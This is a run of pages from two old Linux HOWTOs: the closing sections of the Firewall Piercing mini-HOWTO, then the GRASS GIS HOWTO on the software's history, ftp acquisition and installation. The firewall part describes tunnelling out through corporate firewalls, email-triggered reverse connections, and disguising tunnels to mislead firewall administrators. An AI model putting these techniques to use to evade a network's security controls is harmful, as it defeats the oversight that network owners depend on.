route add -net 98.76.48.0 netmask 255.255.240.0 gw 10.0.2.2
If you're a laptop and your current LAN moves, and yet you want to keep your current route to 98.76.54.32, whatever it be, then use getroute.pl as follows to automatically find the right gateway in the route add -host command:
$(getroute.pl 98.76.54.32)
Note that if you have them in your /etc/hosts, you might use symbolic names instead of numerical IP addresses (and you might even use FQDN's, if you trust the DNS never to fail).

Prev | Home | Next
Unsecure solution: piercing using telnet |  | Reverse piercing


Reverse piercing

Firewall Piercing mini-HOWTO
Prev Next

7. Reverse piercing

7.1. Rationale

Sometimes, only one side of the firewall can launch telnet sessions into the other side; however, some means of communication is possible (typically, through e-mail). Piercing the firewall is still possible, by triggering with whatever messaging capability is available a telnet connection from the ``right'' side of the firewall to the other.

fwprc includes code to trigger such connections from an OpenPGP-authentified email message; all you need is add fwprc as a procmail filter to messages using the protocol, (instructions included in fwprc itself). Note however, that if you are to launch pppd with appropriate privileges, you might need create your own suid wrapper to become root. Instructions enclosed in fwprc.

Also, authentified trigger does not remotely mean secure connection. You should really use ssh (perhaps over telnet) for secure connections. And then, beware of what happens between the triggering of a telnet connection, and ssh taking over that connection. Contribution in that direction welcome.

7.2. Getting the trigger message

If you are firewalled, your mail may as well be in a central mailserver that doesn't do procmail filtering or allow telnet sessions. No problem! You can run fetchmail in daemon mode (or within a cron job) to poll your mailserver and deliver mail to your linux system which itself will have been configured to use procmail at delivery. Note that if you run fetchmail as a background daemon, it will lock away any other fetchmail that you'd like to run only at other times, like when you open a fwprc; of course, if you can also run a fetchmail daemon as a fake user. Too frequent a poll won't be nice to either the mailserver or your host. Too infrequent a poll means you'll have to wait before the message gets read and the reverse connection gets established. I use two-minute poll frequency.

7.3. Other automated tools for reverse piercing

Another way to poll for messages, when you don't have a mailbox, but do have outbound FTP access, is to use FTP tunnel.

A tool to maintain a permanent connection between a firewalled host and an external proxy, so as to export services from the host to the world, is firewall tunnel.

Prev | Home | Next
Routing |  | Final notes


Final notes

Firewall Piercing mini-HOWTO
Prev

8. Final notes

8.1. Other settings

I have no idea how to pierce firewalls with lesser operating systems, but you can take one of these old disused computers (about anything with 8MB of RAM and an ethernet card should do), install Linux or BSD as on it, and pierce the firewall with it, while serving as a router for other machines running lesser OSes. See appropriate HOWTOs about routing, IP forwarding, NAT, etc.

I don't know the details, but a promising tool to pierce firewalls is Chris Mason's Bouncer, which acts as a SOCKS-proxy-over-SSL.

There are other kinds of firewalls than those that allow for direct ssh or telnet connections. As long as a continuous flow of packets may transmit information through a firewall in both directions, it is possible to pierce it; only the price of writing the piercer may be higher or lower.

In a very easy case, we saw that you can just launch ssh over a pty master and do some pppd in the slave tty. You may even want to do it without an adverse firewall, just so as to build a secure ``VPN'' (Virtual Private Network). The VPN mini-HOWTO gives all the details you need about this. We invite you, as an exercise, to modify fwprc so as to use this technique, or perhaps even so as to use it inside a previous non-secure fwprc session.

Now, if the only way through the firewall is a WWW proxy (usually, a minimum for an Internet-connected network), you might want to use Chris Chiappa's script ssh-https-tunnel.

Another promising program for piercing through HTTP is Lars Brinkoff's httptunnel, a http server and client combination that achieves a TCP/IP tunnel connection through the proxy-friendly HTTP protocol. You should then be able to run fwprc (preferably over ssh) over that connection, although I haven't tried it yet. Could anyone test and report? Note that httptunnel is still under development, so you may help implement the features it currently lacks, like, having multiple connections, and/or serving fake pages so as to mislead suspicious adverse firewall administrators.

Whatever goes through your firewall, be it telnet, HTTP or other TCP/IP connections, or something real weird like DNS queries, ICMP packets, e-mail (see mailtunnel, icmptunnel), or whatelse, you can always write a tunnel client/server combination, and run a ssh and/or PPP connection through it. The performance mightn't be high, depending on the effective information communication rate after paying the overhead for coding around filters and proxies; but such a tunnel is still interesting as long as it's good enough to use fetchmail, suck, and other non-interactive programs.

If you need cross a 7-bit line, you'll want to use SLIP instead of PPP. I never tried, because lines are more or less 8-bit clean these days, but it shouldn't be difficult. If necessary, fall back to using the Term-Firewall mini-HOWTO.

If you have an 8-bit clean connection and you're root on linux both sides of the firewall, you might want to use ethertap for better performance, encapsulating raw ethernet communications on top of your connection. David Madore has written ethertap-over-TCP and ethertap-over-UDP tunneling ftp://quatramaran.ens.fr/pub/madore/misc/. There remains to write some ethertap-over-tty to combine with fwprc-like tools.

If you really need more performance than you can get while paying for a user-space sequential communication tunnel through which to run PPP, then you're in the very hard case where you might have to re-hack a weird IP stack, using (for instance) the Fox project's packet-protocol functors. You'll then achieve some direct IP-over-HTTP, IP-over-DNS, IP-over-ICMP, or such, which requires not only an elaborate protocol, but also an interface to an OS kernel, both of which are costly to implement.

Finally, if you're not fighting against an adverse firewall, but just building your own VPN, there is a large offer of VPN tools, and although the tricks I present are simple, work well, and might be enough for your needs, it could be a good idea to look at this evolving offer (that I do not know much about) for a solution that fits your requirements of performance and maintainability.

8.2. HOWTO maintenance

I felt it was necessary to write it, but I don't have that much time for that, so this mini-HOWTO is very rough. Thus will it stay, until I get enough feedback so as to know what sections to enhance, or better, until someone comes and takes over maintenance for the mini-HOWTO. Feedback welcome. Help welcome. mini-HOWTO maintenance take-over welcome.

In any case, the above sections have shown many problems whose solution is just a matter of someone (you?) spending some time (or money, by hiring someone else) to sit down and write it: nothing conceptually complicated, though the details might be burdensome or tricky.

Do not hesitate to contribute more problems, and hopefully more solutions, to this mini-HOWTO.

8.3. Related Documents

The LDP publishes many documents related to this mini-HOWTO. most notably the Linux Security Knowledge Base, the VPN HOWTO and the VPN mini-HOWTO. For more general questions about networking, routing and firewalling, start from the Networking Overview HOWTO. See also the Linux Firewall and Security site.

Then again, when facing a problem with some program, one reflex for any Linux user should be to RTFM: Read The Fscking Manual pages for the considered programs.

8.4. Final Word

I've come to the conclusion that much like the need for Design Patterns came directly from the fact that people were using inferior languages like C++ or Java that don't allow to directly express higher-level programming constructs (whereas good languages such as LISP allow to express them), the need HOWTOs comes directly from the fact that Linux and UNIX systems are inferior operating systems that do not allow to directly express those simple tasks that people attempt to do with them.

If you think that all this mucking around with stupid scripts and silly HOWTOs is overly complicated and that a decent computer system ought to automate it all for you, then welcome with me among UNIX haters and other people who hate current low-level operating systems, and yearn for declarative computing systems that take care of the silly details and let us focus on things that matter. (Maybe have a peek at my own TUNES project).

8.5. Extra copy of IMPORTANT DISCLAIMER --- BELIEVE IT!!!

"I hereby disclaim all responsibility for your use of this hack. If it backfires on you in any way whatsoever, that's the breaks. Not my fault. If you don't understand the risks inherent in doing this, don't do it. If you use this hack and it allows vicious vandals to break into your company's computers and costs you your job and your company millions of dollars, well that's just tough nuggies. Don't come crying to me."

Prev | Home
Reverse piercing |


How to Acquire GRASS

The Geographic Information Systems: GRASS HOWTO
Prev Next

5. How to Acquire GRASS

GRASS used to be available on tape from various companies that signed distribution agreements with USA/CERL. These companies usually supported specific platform environments, such as Masscomp, Sun, DEC, Hewlett Packard, IBM (risc), PC (running some flavor of UNIX), and Macintosh (running AUX). Until recently, the flavors of UNIX working on PCs generally were too low-end, or required too much added programming support (e.g. programming drivers for high-end graphics boards like the Number Nine boards of several years back) to be stable or complete. However, with robust systems like Linux, this problem is history. Similarly, few people acquire GRASS on tape, though a few do on CD-ROM.

The main way to acquire GRASS is to get it via anonymous ftp from:

  1. The new site at Baylor University

    As of the date of this version of the mini-HOWTO, Baylor has source code for GRASS 4.1 and 4.2, as well as Sun Solaris compiled binaries. Blackland GRASS for Windows 95/NT is linked to from this site. Baylor is considering its own Linux and Windows NT binaries, as well. You should be able to compile the Baylor source code under Linux yourself, using information in this mini-HOWTO.

  2. The traditional site at USA/CERL or from mirrors cited at USA/CERL's website:

    The ftp location is:

    moon.cecer.army.mil

    Appendix A describes how to acquire and install GRASS4.13 compiled binaries from USA/CERL. (See section 6 before installing GRASS!)

    Appendix B describes how to acquire and install GRASS4.15 compiled binaries from USA/CERL. (See section 6 before installing GRASS!)

    Appendix C describes how to acquire and compile GRASS4.14 and GRASS4.15 source code from USA/CERL, as well as GRASS4.2 source code from Baylor University. (See section 6 before installing GRASS!)

    Linux distribution developers! Might you be interested in including GRASS with your distribution? Remember, GRASS source code is in the completely unrestricted, copyright-free, public domain. Your distribution might be more valuable if it contained source code and/or compiled binaries for GRASS.

Prev | Home | Next
System Requirements for GRASS |  | How to Get GRASS Running on Your Linux-based Computer.


Acquisition/Compilation of GRASS Source Code

The Geographic Information Systems: GRASS HOWTO
Prev Next

C. Acquisition/Compilation of GRASS Source Code

The GRASS binaries for Linux tend to work. Why would anyone want to mess with the source code?

Let's try to answer this with another question: "Why can't I get the source code to my GIS, so I can see how it works, and maybe fix some things to work the way I like them?" (You probably know the answers to this question, at least for many commercial software packages.)

If you want to

  1. Add any of the numerous existing alpha and contributed GRASS functions,

  2. Understand how a function works (did any programming shortcuts or performance enhancements affect the accuracy of a function? Can I improve the performance of a function?)

  3. Revise or enhance the code (if you do this, please see Appendix D!),

  4. Try compiling several tens of megabytes of source code, this appendix is for you. Also check Appendix E.

First, you need to acquire the source code, and the GRASS Installation Guide. You may also want to get the GRASS Programmer's Manual and User's Reference Manual. To do this:

ftp moon.cecer.army.mil
login: anonymous
password: your email address
cd pub/grass/grass4.1/release/source
get README.4
get README.5
image
mget s4* (or s5*, your choice)
cd ../../documents
get installGuide.ps.Z
cd /manuals/programmer/postscript
get progman.ps.Z
cd ../../user/postscript
get refman.ps.Z
bye

Don't forget this site. There are several tutorials on some of GRASS' more advanced programs in the pub/grass/grass4.1/document directory. There are two options for source code (I'm only discussing GRASS version 4.14 here, though version 4.15 is also available) The pub/grass/outgoing directory contains many contributed functions (and many other candidates for enhancing your system).

Follow the README.4 file for installing GRASS version 4.14 (which is sometimes called version 4.1.4) source code. Follow the README.5 file for installing GRASS version 4.15 (which is sometimes called version 4.1.5) source code.

After installing the source code, uncompress and print installGuide.ps.Z (or the troff version, if you prefer that and got it from a neighboring directory). You might also want to uncompress and print refman.ps.Z and progman.ps.Z at the same time. Note that progman.ps.Z is called the programmer's manual, but also contains valuable information about data formats and directory structures. Advanced users may also want to know the GRASS system utilities, even if they won't be calling them in code.

Now, use the GRASS Installation Guide (from installGuide.ps.Z) to guide yourself through the installation. The thickness of this document may at first be intimidating. However, if you installed Linux yourself, you should be ready to tackle a GRASS installation. Don't be surprised if a function or two does not compile on your system. I have a couple of uncompiled functions on my own Linux system. Fortunately, these are functions that I don't use... Some day I'll get back to them, fix them, and compile them!?

Here is a late-breaking addition, on how to install the newly released GRASS 4.2 from Baylor University This text is as provided by Baylor, unedited by myself due to its release only a few days ago. Please note the similarity with other installations..

Prev | Home | Next
Acquisition/Installation of GRASS4.1.5 Binaries |  | GRASS 4.2 Quick Start


Copyright Notice, and Notice on Support of this Document

The Geographic Information Systems: GRASS HOWTO
Prev Next

9. Copyright Notice, and Notice on Support of this Document

9.1. Copyright notice

This document was prepared by a Federal civil servant in support of his work (but mostly on his own time). It is NOT SUBJECT TO COPYRIGHT.

9.2. Notice on support of this document

I believe that the contents of this document are accurate. However, if you use this document, you accept the risks for any errors in this document (and in any documents that are cited here).

I would greatly appreciate help in correcting any errors, or in enhancing this document. However, "my time is limited" in dealing with this issue. Any help that you can provide, that also helps me to more efficiently respond to your interest, is more likely to be responded to quickly. A complaint might be appreciated, but a suggested improvement that includes draft wording might be REALLY appreciated.

Prev | Home | Next
The Future of GRASS? |  | References


Enhancing GRASS

The Geographic Information Systems: GRASS HOWTO
Prev Next

D. Enhancing GRASS

If you plant to enhance any part of GRASS, read this first!

GRASS has been developed for over a decade as completely unrestricted public domain source code and executables. Though there was initial resistance to the existence of such robust software in the public domain, many competitors learned to take advantage of GRASS. It has reputedly been the intellectual stimulus for several enhancements to other GISs. Several companies conducted business by installing and customizing public domain GRASS for customers, and by providing other value-added services such as data base development.

As USA/CERL no longer supports the public version of GRASS, users are free to use what currently exists. They're also currently completely on their own. At least where the public domain version is concerned.

There is a commercial version of GRASS, adapted from the public domain version by Logiciels et Applications Scientifiques (L.A.S) Inc. of Montreal. In a recent check, LAS sold its GRASSLAND for Sun, Linux and Windows NT. LAS is trying to encourage the continuation of a robust public domain Linux, partly as a source of new ideas and code for their own developments.

Prev | Home | Next
GRASS 4.2 Quick Start |  | Sample Files


The Future of GRASS?

The Geographic Information Systems: GRASS HOWTO
Prev Next

8. The Future of GRASS?

Excellent question! Several possible answers have been thrown out:

  1. USA/CERL's announced intention is to use GRASS and COTS (commercial off-the-shelf software) for internal uses, to leave the GRASS public web- and ftp-site on its system indefinitely, and to sign cooperative research and development agreements with three companies: (1) the Environmental Sciences Research Institute (ESRI), (2) Intergraph, and (3) Logiciels et Applications Scientifiques (L.A.S.) Inc. The first two agreements encouraged the incorporation of GRASS concepts into ESRI's and Intergraph's commercial GISs. The third encouraged the adaptation of GRASS' concepts and code into a new commercial GIS by L.A.S. L.A.S. also offered to encourage the continuation of a public domain GRASS, as a viable stand-alone system and as a potential source of new ideas and code for L.A.S.'s GRASSLAND. One observer noted that the first two agreements might be akin to someone signing Linux over to Microsoft. The same observer considers the experiment by/with L.A.S. to be an interesting possibility - an attempt to keep viable public domain and commercial versions of GRASS.

  2. Some people believe that GRASS will wither without USA/CERL's central management. Some believe that the Open GIS Consortium will successfully guide industry into an open architecture that will benefit all developers and users. Others believe that OGIS' effort will lead to a cacophony of almost similar (but not quite interoperable) vendor-specific "standards," so the loss of GRASS as an open development platform will be felt sorely.

  3. Some people believe that developments on some campuses and other sites may result in those institutes keeping GRASS for awhile, but in non-standard forms. In short, GRASS will undergo "cell division" and lead to a cacophony of internally valuable, but externally unused, GISs.

  4. Others hope that GRASS' previous management model under USA/CERL has left it ready for a new model. Perhaps:

    1. Under a new mentor, such as NASA (which needs an open, powerful and scientific, GIS integrated with image processing system for its Earth Observing System).

    2. Under a distributed management model... perhaps somewhat like Linux?

    3. Perhaps a bit of a hybrid? Perhaps a Web-based effort could spawn a series of usenet discussion groups beginning with

      • comp.infosystems.gis.grass, and evolving to:

      • comp.infosystems.gis.grass.academics

      • comp.infosystems.gis.grass.publicservice

      • comp.infosystems.gis.grass.commercialvalueadded

      • comp.infosystems.gis.grass.commercialdistributors

      • comp.infosystems.gis.grass.programming

      • comp.infosystems.gis.grass.users

      • comp.infosystems.gis.grass.centralcommittee

      Clearly the topics are a bit tongue-in-cheek. However, under this model, a Central Committee (including representation of academic, public service [government and nongovernmental organizations], commercial distributors and value added firms, programmers, and users) would guide overall grass development and testing. The other special interest groups would serve their user communities. Academics, for example, would involve GIS and GRASS education, but would also try to pull GRASS development in its direction. Value added commercial developers would serve their own interests, including trying to pull GRASS development in a direction that would help their businesses. Users would help each other learn GRASS, develop workarounds to bugs, etc.

GRASS offers considerable potential for:

  • Use as a scientific, as well as a traditional graphically oriented GIS. Many GISs can make pretty maps. Many of those GISs cannot easily perform certain scientific analytical functions as easily or powerfully as GRASS. GRASS was designed and developed in response to a perceived need for scientific GIS, specifically for environmental analysis, and the environmental management/protection of public lands. Incidentally, there is at least one Web-based GRASS version. GRASSLINKS, developed at The University of California at Berkeley, uses Web forms to submit commands to the server, which creates .gif-based display output, places the images into pages, and serves them up to the requester. More on that later.

  • Education. GRASS is easier to teach and learn than some other GISs. It is easier to modify (for those that want to learn GIS as computer science, rather than as "geography") than most other GISs that come without source code and treat the program as a magical black box. And, of course, it is more affordable for the student of GIS than many other GISs.

  • Applications research and development. Many universities have used GRASS. Its available source code, easy modification, easy scriptability, etc., give it distinct advantages over some more closed systems.

  • Public Service. GRASS has been used as a scientific GIS for many public service applications. There is considerable value in continuing a robust GIS that can ba packaged with any UNIX workstation. There is considerably more value if that UNIX workstation universe can include Linux (but is not constrained only to Linux).

  • GIS research and development. For example - do you want to experiment with a different data model? Add it to GRASS!

  • Commercialization. This document gives contact information for a commercial version of GRASS. That company (and perhaps others?) may welcome your help in enhancing/supporting their product.

Who would be the Linus Torvalds equivalent in this management model? Perhaps no single person. I have been involved in GRASS for about a decade, when GRASS was the only GIS that satisfied my needs in scientific data management and GIS application. Indeed, I had been a dedicated avoider of the user-unfriendly UNIX environment until GRASS forced me to learn it. Several senior GRASS developers are active in GRASS-related activities and would like to see the continued vitality of an open GRASS. It's likely that a reborn GRASS would attract a new crop of friends. Thus the concept of a "Central Committee" to collectively lead GRASS' transition to a more open management and development style.

In short, the Linux community has an opportunity to take under its wing a killer ap. GRASS' current public domain status is slightly different from Linux's. However, that status could be discussed....

Comments would be appreciated!

Prev | Home | Next
Web-based Support for GRASS (and for GIS Matters in General) |  | Copyright Notice, and Notice on Support of this Document


Continued Assessment of Future GRASS Management

The Geographic Information Systems: GRASS HOWTO
Prev Next

3.2. Continued Assessment of Future GRASS Management

Note: An ad-hoc group (which includes myself) is exploring the basic issue of continued, reconfigured, yea perhaps increased, value of GRASS as a public test-bed for GIS technology. It is exploring shepherding the testing and release of GRASS5.0, and exploring possibilities for a more distributed management model for GRASS design and development. It is exploring the universe of public domain spatial data processing software (including geographic information and image processing systems), and perhaps tabular data base management systems. How can such knowledge be (1) optimized as an open, public test bed for such technology and (2) better used by the public? Might this involve a Linux management model, perhaps? See Section 8 for more discussion on this topic.

Prev | Home | Next
A Re-Invogorated GRASS Management Model |  | System Requirements for GRASS


A Brief History of GRASS

The Geographic Information Systems: GRASS HOWTO
Prev Next

3. A Brief History of GRASS

In the early 1980s the U. S. Army Corps of Engineers' Construction Engineering Research Laboratory (USA/CERL) in Champaign, Illinois, began to explore the possibilities of using Geographic Information Systems to conduct environmental research, assessments, monitoring and management of lands under the stewardship of the U. S. Department of Defense. Part of the motivation for this action was new responsibility for the environment encoded into the National Environmental Policy Act of the late 1970s.

Bill Goran of USA/CERL conducted a survey of available GISs, assuming that he could find several systems capable of environmental analysis, from which he could select one or more to recommend for use by CERL and perhaps others in the Department of Defense. However, he was surprised to find no GIS that satisfied his needs. What started as a selection process turned into a design exercise for his own GIS development program.

USA/CERL hired several programmers, and began by writing a hybrid raster-vector GIS for the VAX UNIX environment. This made the team one of the first to seriously develop GIS for UNIX. Though they still faced challenges with different versions of UNIX, they developed procedures of coding in ANSI standard UNIX, avoiding "tweaking" the code toward any particular vendor-specific flavor of UNIX.

GRASS developed a programming style characterized by:

  • Use of UNIX libraries where possible, plus the creation of GRASS libraries for repeated GIS-specific acts such as opening raster files that might be compressed (by run-length encoding) or not.

  • The ability to handle both major GIS data types: raster and vector.

  • The favoring of raster data processing, as scientific analysis was easier to encode with raster (than for vector) data models.

  • The ability to handle raster grids of mixed grid sizes in the same data base. This was a departure from raster's image processing tradition of requiring identical (and perfectly registered) grid cell arrays in each and every data layer.

  • The ability to handle raster grids with different areas of coverage. Again, this was a departure from raster tradition of having all grids be identical in geographic coverage.

  • The ability to run-length encode raster data files, in order to greatly reduce file sizes of most files.

  • The separate structure of reclassification files. Such files merely contained a look-up table noting the previous and new classes. This is MUCH more compact than replicating the original grid with different numerical values. A reclassified file of a 100x100 km square area of 10 metre grid cells would be a few hundred bytes, rather than 100 megabytes of uncompressed 8-bit raster data.

  • The acceptance of de-facto standard data models. While competitors created cumbersome (and in many cases secretive) data formats, GRASS accepted the de-facto standard Digital Line Graph vector format and unheaded binary raster grid format. GRASS later abandoned DLG as its internal vector file format, and let its raster format evolve. However, DLG and the unheaded binary raster grid are still routinely handled formats for GRASS, and its new formats are as open as its previous ones.

  • GRASS code was managed in several directories. Initial contributions were placed in the src.contrib directory. More solid code was moved to the src.alpha directory. After remaining in the src.alpha for one full release cycle, the code, with resultant bug fixes, moved to the most honorable level, the src directory.

GRASS was overseen by three levels of oversight committees. USA/CERL kept the ultimate responsibility for GRASS. It implemented most GRASS development, and carried out the day-to-day management of GRASS testing and release. The GRASS Interagency Steering Committee (GIASC), comprised of other Federal agencies, met semi-annually to review development progress, and evaluate future directions for GRASS. (Academic and commercial participants in GRASS also attended GIASC meetings; only part of each meeting was "Federal-Agencies-only." GRASS eventually became nominally and officially a "product" of the GIASC, though everyone recognized USA/CERL's leadership role. The GRASS Military Steering Committee met periodically to review the progress of GRASS in serving its original intent: meeting the Department of Defense's needs to evaluate and manage the environment of military lands.

The public interacted with CERL and GIASC through USA/CERL's GRASS Information Center. GRASS Beta testing was very widespread, and quite intensive for the leading users of GRASS. Several leading users, such as the National Park Service and the Soil Conservation Service, selected GRASS as its prime or only GIS. They made significant commitments to enhance and test GRASS, yet considered this investment well worth their while. They said that they had more influence over the direction of GRASS than they would over any known alternative system. They also felt that, despite their major efforts and expenses in supporting GRASS, they had a bargain in relevant power for the dollar.

Several universities adopted GRASS as an important training and research environment. Many conducted short-courses for the public, in addition to using GRASS in their own curricula. Examples of such leading academic users of GRASS are Central Washington University, The University of Arkansas, Texas A & M University, The University of California at Berkeley, and Rutgers University.

Though GRASS received some criticism (some say) for being so good and so public, it was also reputedly borrowed from liberally by some developers of other systems. Though the first group might have viewed it as unfair competition, the second group may have noted that it was not copyright, and was a valuable testbed for GIS concepts. GRASS received an award from the Urban and Regional Information Systems Association (URISA) for quality software in 1988.

As CERL and GRASS evolved through the late 1980s and early 1990s, CERL attempted to cut overhead costs associated with supporting the public domain version. It created and initially funded the Open GRASS Foundation, in cooperation with several of the leading users of GRASS. The Open GRASS Foundation has since evolved into the Open GIS Consortium, which is aiming for more thorough interoperability at the data and user interface level, but appears not to be taking advantage of the major open GIS testbed (GRASS).

In 1996 USA/CERL, just before beginning the beta testing for GRASS version 5.0, announced that it was formally withdrawing support to the public. USA/CERL announced agreements with several commercial GISs, and agreed to provide encouragement to commercialization of GRASS. One result of this is GRASSLANDS, a commercial adaptation of much of GRASS. Another result is a migration of several former GRASS users to COTS (Commercial Off-The-Shelf) GISs. However, GRASS' anonymous ftp site contains many enhancements to the last full version 4.1 release of GRASS. Many organizations still use GRASS feeling that, despite the lack of a major release in five years, GRASS still leads the pack in many areas.

Prev | Home | Next
What Is GRASS? |  | A Re-Invogorated GRASS Management Model


The Geographic Information Systems: GRASS HOWTO

David A. Hastings

U. S. Department of Commerce
National Oceanic and Atmospheric Administration
National Geophysical Data Center

Boulder, CO 80303
USA
dah@ngdc.noaa.gov

Revision History
Revision 1.0 13 November 1997 Revised by: dah
Initial Release

This document describes how to acquire, install and configure a powerful scientific public-domain Geographic Information System (GIS): the Geographic Resources Analysis Support System (GRASS). It provides information on other resources for learning more about GRASS, GIS in general, for acquiring data, etc.

This document also encourages the Linux community to consider enhancing this software as a major application of UNIX/Linux. ("When will Linux become bundled with public domain or Linux Public License 'killer apps'"?) For more on this topic, see Section 8 below.

Table of Contents
1. What is a GIS?
2. What Is GRASS?
3. A Brief History of GRASS
3.1. A Re-Invogorated GRASS Management Model
3.2. Continued Assessment of Future GRASS Management
4. System Requirements for GRASS
5. How to Acquire GRASS
6. How to Get GRASS Running on Your Linux-based Computer.
7. Web-based Support for GRASS (and for GIS Matters in General)
8. The Future of GRASS?
9. Copyright Notice, and Notice on Support of this Document
9.1. Copyright notice
9.2. Notice on support of this document
10. References
A. Acquisition/Installation of GRASS4.13 Binaries
B. Acquisition/Installation of GRASS4.1.5 Binaries
C. Acquisition/Compilation of GRASS Source Code
C.1. GRASS 4.2 Quick Start
D. Enhancing GRASS
E. Sample Files
Next
What is a GIS?


Acquisition/Installation of GRASS4.13 Binaries

The Geographic Information Systems: GRASS HOWTO
Prev Next

A. Acquisition/Installation of GRASS4.13 Binaries

This appendix describes how to acquire and install Linux binaries for GRASS4.13 (the 3rd update to the last full release of GRASS, version 4.1).

How to get these files:

ftp moon.cecer.army.mil
login: anonymous
password: your email address
cd pub/grass/grass4.1/release/binaries/linux
image
mget grassa*
bye

Installation instructions:
********************************************************************
* GRASS 4.1 Update 3 for Linux
*
* This package contains GRASS programs only, *NO* GIS
* data is included.  You can find example GRASS data at
* moon.cecer.army.mil
*
* Compiled by: Andy Burnett - burnett@zorro.cecer.army.mil
* compiled on: April 7, 1994

********************************************************************
System Requiremnts:

        35 MB disk space to hold the binary distribution

System library requirements:

        libc4.5.21 or greater

        libX.so.3.1.0 or greater

If you are running libraries that are older than these, this binary
distribution will *NOT* run on your linux system.

--------------------------------------------------------------------------
Files in this release:

        README_4.1.3            what you are currently reading
        ginstall                simple grass installation script
        grassaa --------|
        grassab         |
        grassac         |
        grassad         |
        grassae         |--     the linux GRASS binaries
        grassaf         |
        grassag         |
        grassah         |
        grassai         |
        grassaj         |
        grassak --------|

INSTALLATION:

        To install this binary distribution of grass for linux, you
can simply run the ginstall script or you can unpack the files by
hand.  I recommend using the ginstall script ... it's very simple and
should be bullet proof.  To run the ginstall script, you will need
gawk (gnu awk) installed on your system and it needs to be in your
PATH.

If, however, you want to do things by hand, here's what you need to
do:

o  make the destination directory (/usr/grass, /usr/local/grass,
   whatever)  This will become your GISBASE for grass.

********************* LOOK HERE **************************************
from here on, replace $GISBASE with the name of the directory you just
created
********************* LOOK HERE **************************************

o  cat grassa? | gzip -d | (cd $GISBASE; tar xvf -)
   This will unpack all the grass binaries into the $GISBASE directory

o  copy $GISBASE/etc/moncap.sample to $GISBASE/etc/monitorcap and edit
   it.
o  change all occurrences of GBASE in that file to $GISBASE
o  copy $GISBASE/etc/grass4.1 into a public directory (I suggest
   /usr/bin)
o  edit the copy you just made:
   change all occurrences of GBASE to $GISBASE

Prev | Home | Next
References |  | Acquisition/Installation of GRASS4.1.5 Binaries


Acquisition/Installation of GRASS4.1.5 Binaries

The Geographic Information Systems: GRASS HOWTO
Prev Next

B. Acquisition/Installation of GRASS4.1.5 Binaries

This appendix describes how to acquire and install Linux binaries for GRASS4.15 (the 5th and last update to the last full release of GRASS, version 4.1).

How to get these files:

ftp moon.cecer.army.mil
login: anonymous
password: your email address
cd pub/grass/grass4.1/release/binaries/linux
image
mget linuxa*
bye

Installation instructions:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Files in this release:
        README_4.1.5            what you are currently reading
        install.sh                simple grass installation script
        linuxaa --------|
        linuxab         |
        linuxac         |
        linuxad         |
        linuxae         |--   the linux GRASS binaries, version 4.1.5
        linuxaf         |
        linuxag         |
        linuxah         |
        linuxai --------|

* * * * * * * * * * *** * * * * * * * * * * * * * * * * * * * * * * *
*

The GRASS4.15 for Linux was compiled in my Linux box with the
following configuration:
        Slackware 3.0
        kernel 1.2.13
        gcc 2.7.0
        libc 5.0.9
        flex 3.5.2

~ ~ ~ ~ ~ ~ ~
~ IMPORTANT: ~
~ ~ ~ ~ ~ ~ ~
THE LINUX GRASS 4.15 BINARIES ONLY WORK ON ELF-LINUX. THE BINARIES MAY
NOT WORK WITH EARLY VERSION OF KERNEL AND/OR GCC AND FLEX.

The binaries was tared and gziped, then split into 9 (close to 1.3 MB
- 1200 x 1K block) files named from linuxg.aa to linuxg.ai.

You should ftp all the linuxg.a* in binary mode and also get this
readme file and an installation script - install.sh.  Please put all
of these files in the same directory - source directory.

At the source directory under the UNIX prompt, type
        sh ./install.sh full_path_to_the_destination_directory

and it should automatically unzip and untar the linuxg.a* files to the
destination directory and also edit several site-specific files.  The
total space your need is about 26 MB.

At the destination directory, your can find the grass4.1 script.  It
should have been modified to reflect your installation directory.
Now, either move/copy the grass4.1 file to one of your PATH or use the
link command as below:
        cd /usr/local/bin
        ln -s destination_directory/etc/grass4.1 grass4.1

Now, you are ready to start GRASS by typing grass4.1 and you should
know how to run GRASS afterward.

There is a readme directory in the destination_directory/etc
directory.  This directory has several readme files that come with
some incoming commands.  You can find all the compiled commands of
this binaries in the commands.readme file.  I can't guarantee that all
of them work but I have tested lots of them.  If you find some
commands that don't work, please post a message on the grass user
group and we can solve it all together.

Yung-Tsung Kang,
Michigan State University

Prev | Home | Next
Acquisition/Installation of GRASS4.13 Binaries |  | Acquisition/Compilation of GRASS Source Code


How to Get GRASS Running on Your Linux-based Computer.

The Geographic Information Systems: GRASS HOWTO
Prev Next

6. How to Get GRASS Running on Your Linux-based Computer.

Appendices A, B, and C describe how to acquire and install GRASS. Before actually installing GRASS, you will have to decide where to put three parts of the system:

  1. The GRASS binaries, source code (if you install this), man pages, documentation, and the like. Many folks put this stuff off /usr/local (e.g. /usr/local/grass/bin, /usr/local/grass/src).

  2. The GRASS executable and gmake utilities. Some folks put this stuff off /usr/local (e.g. /usr/local/grass/grass4.1 and gmake4.1 or /usr/local/bin/grass4.1 and gmake4.1).

  3. The GRASS data directories. These can go anywhere, as they are specified in configuration files.

    I have used a different scheme for a decade. As GRASS code, binaries, and the like (except data owned by users) are all owned by the special user "grass" I don't want this stuff to get spread around my system. I create a new directory (usually on a separate file system) called /user, and put all my GRASS stuff below this. For example:

    /user/grass4.1/bin   (I usually put grass4.1 and gmake4.1 here...)
              /data
              /dev
              /etc
              /man
              /src
              /src.alpha
              /src.contrib

    I'm currently building a GRASS5.0 site, which then goes under:

    /user/grass5/bin
            /data   (some GRASS5 data formats have changed...)
            /dev
            /etc

    The GRASS Installation Guide (described in Section 10 and in Appendix C) is useful for getting GRASS running, even if you merely install the binaries as described in Appendices A and B. Please don't overlook one important detail: Most GRASS installations separate user from software manager accounts and UNIX permissions. You should create a "grass" (the quotes here are for emphasis, and should not be part of the actual user userid) user account on your workstation. All installation and configuration of grass should be done by user "grass". Untar (or un"cpio" files, run setup configuration utilities, run Gmakefiles (GRASS versions of makefiles), and edit configuration files as user "grass." Then only RARELY run GRASS as user "grass." (I only run GRASS as user "grass" when I am making archival data files in the PERMANENT mapset.) This is done for much the same reason as not running user software as user "root". YOU CAN DO TOO MUCH DAMAGE AS USER "grass"!

    Beyond the instructions in these appendices, and information in the GRASS Installation Guide, you have some additional housekeeping to do, such as developing a data base. You can acquire sample data bases from USA/CERL (directory pub/grass/grass4.1/data at anonymous "ftp moon.cecer.army.mil"), start from scratch following instructions in the GRASS Programmer's Manual (and, to a lesser degree, buried in the functional descriptions of the GRASS User's Reference Manual).

    I personally recommend that you start with the Spearfish and Global databases available from USA/CERL:

